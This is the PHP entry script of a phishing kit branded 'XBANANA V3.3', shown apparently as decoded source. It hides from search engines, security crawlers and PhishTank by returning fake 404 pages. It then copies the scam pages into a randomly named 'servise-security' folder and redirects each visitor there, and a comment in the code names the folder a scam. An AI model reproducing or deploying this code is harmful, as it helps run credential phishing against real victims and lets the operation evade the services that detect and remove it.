PHP Decode

<?php 
  //                                              
 
session_start(); 
error_reporting(0); 
//------------------------------------------|| XBANANA V3.3 ANTIBOTS  ||-----------------------------------------------------// 
include "./BOTS/xBananaBotsPerfect.php"; 
//---------------------------------------------------------------------------------------------------------------// 
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); } 
//---------------------------------------------------------------------------------------------------------------// 
function is_bitch($user_agent){ 
    $bitchs = array( 
        'Googlebot',  
        'Baiduspider',  
        'ia_archiver', 
        'R6_FeedFetcher',  
        'NetcraftSurveyAgent',  
        'Sogou web spider', 
        'bingbot',  
        'Yahoo! Slurp',  
        'facebookexternalhit',  
        'PrintfulBot', 
        'msnbot',  
        'Twitterbot',  
        'UnwindFetchor',  
        'urlresolver',  
        'Butterfly',  
        'TweetmemeBot', 
        'PaperLiBot', 
        'MJ12bot', 
        'AhrefsBot', 
        'Exabot', 
        'Ezooms', 
        'YandexBot', 
        'SearchmetricsBot', 
		'phishtank', 
		'PhishTank', 
        'picsearch', 
        'TweetedTimes Bot', 
        'QuerySeekerSpider', 
        'ShowyouBot', 
        'woriobot', 
        'merlinkbot', 
        'BazQuxBot', 
        'Kraken', 
        'SISTRIX Crawler', 
        'R6_CommentReader', 
        'magpie-crawler', 
        'GrapeshotCrawler', 
        'PercolateCrawler', 
        'MaxPointCrawler', 
        'R6_FeedFetcher', 
        'NetSeer crawler', 
        'grokkit-crawler', 
        'SMXCrawler', 
        'PulseCrawler', 
        'Y!J-BRW', 
        '80legs.com/webcrawler', 
        'Mediapartners-Google',  
        'Spinn3r',  
        'InAGist',  
        'Python-urllib',  
        'NING',  
        'TencentTraveler', 
        'Feedfetcher-Google',  
        'mon.itor.us',  
        'spbot',  
        'Feedly', 
        'bot', 
        'curl', 
        "spider", 
        "crawler"); 
    	foreach($bitchs as $bitch){ 
            if( stripos( $user_agent, $bitch ) !== false ) return true; 
        } 
    	return false; 
} 
if (is_bitch($_SERVER['HTTP_USER_AGENT'])) { 
    echo "404 NOT FOUND"; 
    exit; 
} 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
// XBANANA V3.3 Create User FOLDER SCAM ! 
for ($DIR = '', $i = 0, $z = strlen($a = '123456789')-1; $i != 3; $x = rand(0,$z), $DIR .= $a{$x}, $i++); 
$_SESSION['_DIR_'] = $DIR; 
$DIR = "./customer_center/servise-security".$DIR; 
$xBanana10_="xBanana"; 
function recurse_copy($xBanana10_,$DIR) { 
$dir = opendir($xBanana10_); 
@mkdir($DIR); 
while(false !== ( $file = readdir($dir)) ) { 
if (( $file != '.' ) && ( $file != '..' )) { 
if ( is_dir($xBanana10_ . '/' . $file) ) { 
recurse_copy($xBanana10_ . '/' . $file,$DIR . '/' . $file); 
} 
else { 
copy($xBanana10_ . '/' . $file,$DIR . '/' . $file); 
} 
} 
} 
closedir($dir); 
} 
recurse_copy( $xBanana10_, $DIR ); 
#END 
//XBANANA V3.3 LOCATION ! 
header("LOCATION: ".$DIR.""); 
?>